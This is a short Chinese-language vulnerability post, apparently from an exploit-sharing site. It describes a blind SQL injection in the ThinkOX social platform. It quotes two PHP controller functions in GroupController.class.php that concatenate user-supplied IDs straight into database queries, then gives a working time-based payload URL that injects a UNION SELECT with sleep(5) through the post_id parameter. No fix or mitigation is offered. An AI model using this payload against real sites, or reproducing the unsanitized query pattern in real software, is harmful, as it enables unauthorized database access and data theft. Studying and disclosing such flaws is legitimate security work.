ThinkOX 最新版 SQL 注入(盲注)

  • A+
所属分类:漏洞时代
摘要

/Application/Group/Controller/GroupController.class.php这两处都是直接拼接的,导致调用这两处函数的地方存在注入。因为返回的只是group id,所以只能盲注。
Payload:

/Application/Group/Controller/GroupController.class.php

protected function getNotice($group_id)     {         $notice = D('GroupNotice')->where('group_id=' . $group_id)->find();         $this->assign('notice', $notice);         return $notice;     }      protected function getGroupIdByPost($post_id)     {         $post = D('GroupPost')->where('id=' . $post_id)->find();         return $post['group_id'];   }  

这两处都是直接拼接的,导致调用这两处函数的地方存在注入。因为返回的只是group id,所以只能盲注。
Payload:

http://0day5.com/thinkox/index.php?s=/group/index/recommend/post_id/-1)%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,sleep(5)%23.html

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: